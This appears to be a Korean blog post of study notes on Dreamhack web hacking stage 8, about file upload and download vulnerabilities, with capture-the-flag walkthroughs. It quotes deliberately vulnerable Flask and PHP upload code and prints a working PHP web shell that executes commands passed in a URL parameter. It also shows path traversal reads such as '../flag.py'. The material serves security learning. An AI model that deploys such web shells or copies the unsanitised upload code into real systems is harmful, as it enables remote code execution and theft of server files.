STAGE 8 : File Vulnerability

 

File Vulnerability

 

> ServerSide : File Vulnerability

File Upload Vulnerability File Download Vulnerability
- 공격자의 파일을 웹 서비스의 파일 시스템에 업로드하는 과정에서 발생하는 보안 취약점
- 파일 시스템 상 임의 경로에 원하는 파일을 업로드하거나 악성 확장자를 갖는 파일을 업로드할 수 있을 때 발생
- 원하는 시스템 커맨드를 실행하는 원격 코드 실행 취약점을 유발할 수 있다.
- Path Traversal과 악성 파일 업로드로 분류된다.
- 웹 서비스의 파일 시스템에 존재하는 파일을 다운로드하는 과정에서 발생하는 보안 취약점
- 공격자는 웹 서비스의 파일 시스템에 존재하는 임의 파일을 다운로드 받을 수 있다.
- 설정 파일, 패스워드 파일, 데이터 베이스 백업 본 등을 다운로드 하여 민감한 정보를 탈취할 수 있고 2차 공격을 수행할 수 있다.

 

Path Traversal

: 업로드에 존재하는 제약을 우회하여, 임의 디렉토리에 파일을 업로드할 수 있는 취약점

- 파일 업로드를 허용하는 대개의 서비스는 보안을 위해 특정 디렉토리에만 업로드를 허용한다.

- 위와 같은 제한이 없으면 악의적인 이용자가 웹 서버의 소스코드나 서버에 있는 중요 시스템 파일을 덮어 쓸 위험이 있다.

 

▷ 파일 업로드 기능에 Path Traversal 취약점이 있는 웹 서비스 코드

from flask import Flask, request
app = Flask(__name__)
@app.route('/fileUpload', methods = ['GET', 'POST'])
def upload_file():
	if request.method == 'POST':
		f = request.files['file']
		f.save("./uploads/" + f.filename)
		return 'Upload Success'
	else:
		return """
		<form action="/fileUpload" method="POST" enctype="multipart/form-data">
			<input type="file" name="file" />
			<input type="submit"/>
		</form>
		"""
if __name__ == '__main__':
	app.run()

- /fileUpload는 POST요청을 받으면, 클라이언트가 전송한 파일을 ./uploads에 저장한다.

- 이용자가 입력한 파일 이름 f.filename을 그대로 사용하기 때문에 Path Traversal에 취약하다.

- ex) 공격자가 ../ 와 같은 메타문자를 사용하면 uploads를 벗어나 상위 디렉토리에도 파일을 업로드 할 수 있다.

 

▶ 정상적인 요청

- 파일을 정상적으로 업로드하면 아래와 같이 HTTP요청이 전송된다.

정상적인 파일 업로드 HTTP 요청

- 요청의 filename 필드의 값이 위 코드 내 f.filename 변수의 값이 된다.

- 이처럼 요청을 보내면 uploads 폴더에 test.txt가 생성된다.

서버 파일 시스템 확인

 

▶ 악의적인 요청

- 아래는 filename 필드를 변조해서 Path Traversal을 수행하는 HTTP 요청이다. filename에 .. 이 포함되어 있으므로 상위 디렉토리 파일이 저장된다.

악의적인 파일 업로드 HTTP 요청

 

- 요청을 전송하면 아래와 같이 app.py 파일 위치와 같은 디렉토리에 hack.py가 생성된다. 만약 app.py를 덮어쓴다면, 서버가 재실행될 때 임의의 파이썬 코드를 실행할 수 있다.

공격을 당한 서버 파일 시스템 확인

 

▶ 악성 파일 업로드

- 악성 파일 업로드 취약점은 이용자가 파일을 업로드할 때, 이를 제대로 검사하지 않아서 발생하는 취약점을 의미한다.

 

▷ 웹 셸

- 웹 서버는 .php, .jsp, .asp와 같은 확장자의 파일을 Common Gateway Interface(CGI)로 실행하고, 그 결과를 이용자에게 반환한다.

- 아래 사진은 이용자가 요청한 파일의 확장자가 정규표현식 ".+\.ph(p[3457]?|t|tml)$"를 만족하면, x-httpd-php로 핸들링하게 하는 Apache 설정 파일이다.

Apache 설정 파일

- x-httpd-php는 PHP 엔진이며 요청한 파일을 실행하고, 그 결과를 반환한다.

-  .php, .php3, .phtml이 위의 정규표현식을 만족한다.

- 많은 웹 서버들이 php 파일에 대해 위와 같은 핸들링을 지원한다.

- 따라서 공격자가 임의의 php 소스 파일을 .php 확장자로 업로드하고, GET 요청을 보낼 수 있다면 CGI에 의해 해당 코드가 실행되도록 할 수 있다.

 

▷ 악의적인 웹 리소스

- 웹 브라우저는 파일의 확장자나 응답의 Content-Type에 따라 요청을 다양하게 처리한다.

- 만약 요청한 파일의 확장자가 .html이거나, 반환된 Content-Type 헤더가 text/html일 경우 응답은 HTML 엔진으로 처리된다.

- 파일의 확장자가 .png, .jpg 등의 이미지 확장자이거나 Content-Type이 image/png일 경우에는 이미지로 랜더링 된다.

- 만약 공격자가 서버에 exploit.html을 업로드하고, 이에 접근하는 URL이 https://dreamhack.io/uploads/exploit.html이라면, 브라우저는 이를 HTML로 해석된다. exploit.html에 악의적인 스크립트를 삽입하면, Cross-Site-Scripting (XSS) 공격으로 이어질 수 있다.

 

 

File Download Vulnerability

: 웹 서비스를 통해 서버의 파일 시스템에 존재하는 파일을 내려 받는 과정에서 발생하는 보안 취약점이며, 이용자가 다운로드할 파일의 이름을 임의로 정할 수 있을 대 발생한다.

- 웹 서비스는 이용자가 업로드한 파일을 다운로드 받거나 이미지를 불러올 때 특정 디렉토리에 있는 파일만 접근하도록 해야 한다.

- Path Traversal을 이용한 파일 다운로드 취약점을 파일 이름을 직접 입력 받아 임의 디렉토리에 있는 파일을 다운로드 받을 수 있는 취약점을 말한다. 

- 아래는 파일 다운로드 취약점이 자주 발생하는 URL 패턴이다.

 

 

[함께실습] File Vulnerability

> Exercise : File Vulnerability

▶ 웹 서비스 분석

 

▷ 인덱스 페이지

- index.php는 list.php와 upload.php로 이동하는 메뉴를 출력한다.

<li><a href="/">Home</a></li>
<li><a href="/list.php">List</a></li>
<li><a href="/upload.php">Upload</a></li>

 

▷ 파일 목록 리스팅

- list.php는 $directory의 파일들 중 ., .., index.html을 제외하고 나열한다.

<?php
    $directory = './uploads/';
    $scanned_directory = array_diff(scandir($directory), array('..', '.', 'index.html'));
    foreach ($scanned_directory as $key => $value) {
        echo "<li><a href='{$directory}{$value}'>".$value."</a></li><br/>";
    }
?>

 

▷ 파일 업로드

- upload.php는 이용자가 업로드한 파일을 uploads폴더에 복사하며, 이용자는 http://host1.dreamhack.games:[PORT]/uploads/[FILENAME] URL을 통해 접근할 수 있다.

- 만약 같은 이름의 파일이 있다면 “already exists”라는 메시지를 반환한다. 업로드할 파일에 대해 어떠한 검사도 하지 않으므로, 웹 셸 업로드 공격에 취약하다.

<?php
  if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_FILES)) {
      $directory = './uploads/';
      $file = $_FILES["file"];
      $error = $file["error"];
      $name = $file["name"];
      $tmp_name = $file["tmp_name"];
     
      if ( $error > 0 ) {
        echo "Error: " . $error . "<br>";
      }else {
        if (file_exists($directory . $name)) {
          echo $name . " already exists. ";
        }else {
          if(move_uploaded_file($tmp_name, $directory . $name)){
            echo "Stored in: " . $directory . $name;
          }
        }
      }
    }else {
        echo "Error !";
    }
    die();
  }
?>

 

▶ 익스플로잇

 

▷ php 웹 셸 업로드

- 웹 셸 업로드하고 방문하면, 서버의 셸을 획득할 수 있다.

//(출처: https://gist.github.com/joswr1ght/22f40787de19d80d110b37fb79ac3985 ) 
<html><body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form><pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?></pre></body></html>

 

▷ flag 획득

- cat /flag.txt로 플래그를 획득한다.

 

 

위 사진과 같이 php 코드를 작성하여 아래 사진에서 이 파일을 업로드 해주었다.

 

List 를 들어갔더니 내가 업로드 한 shell.php가 있었고, 이를 선택하였더니 안에 flag가 있었다.

 

[혼자실습] File Vulnerability

#!/usr/bin/env python3
import os
import shutil

from flask import Flask, request, render_template, redirect

from flag import FLAG

APP = Flask(__name__)

UPLOAD_DIR = 'uploads'


@APP.route('/')
def index():
    files = os.listdir(UPLOAD_DIR)
    return render_template('index.html', files=files)


@APP.route('/upload', methods=['GET', 'POST'])
def upload_memo():
    if request.method == 'POST':
        filename = request.form.get('filename')
        content = request.form.get('content').encode('utf-8')

        if filename.find('..') != -1:
            return render_template('upload_result.html', data='bad characters,,')

        with open(f'{UPLOAD_DIR}/{filename}', 'wb') as f:
            f.write(content)

        return redirect('/')

    return render_template('upload.html')


@APP.route('/read')
def read_memo():
    error = False
    data = b''

    filename = request.args.get('name', '')

    try:
        with open(f'{UPLOAD_DIR}/{filename}', 'rb') as f:
            data = f.read()
    except (IsADirectoryError, FileNotFoundError):
        error = True


    return render_template('read.html',
                           filename=filename,
                           content=data.decode('utf-8'),
                           error=error)


if __name__ == '__main__':
    if os.path.exists(UPLOAD_DIR):
        shutil.rmtree(UPLOAD_DIR)

    os.mkdir(UPLOAD_DIR)

    APP.run(host='0.0.0.0', port=8000)

 

아래와 같이 hello라고 내용을 적어 업로드 해주었다.

 

Home에 업로드한 flag가 생겼다.

 

flag를 들어갔더니 아래와 같이 업로드 한 내용을 확인할 수 있었다.

URL이 http://host3.dreamhack.games/read?name= 뒤가 계속 바뀌는 것을 확인 할 수 있었고, flag.py의 상위 디렉터리인 ../flag.py로 변경하였다. 

 

그랬더니 아래와 같이 flag를 획득할 수 있었다.

 

'Web Hacking > Dreamhack' 카테고리의 다른 글

[Dreamhack] Web Hacking STAGE 10  (0) 2022.08.27
[Dreamhack] Web Hacking STAGE 9  (0) 2022.08.24
[Dreamhack] Web Hacking STAGE 7  (0) 2022.08.09
[Dreamhack] Web Hacking STAGE 6  (0) 2022.08.02
[Dreamhack] Web Hacking STAGE 5  (0) 2022.07.25

+ Recent posts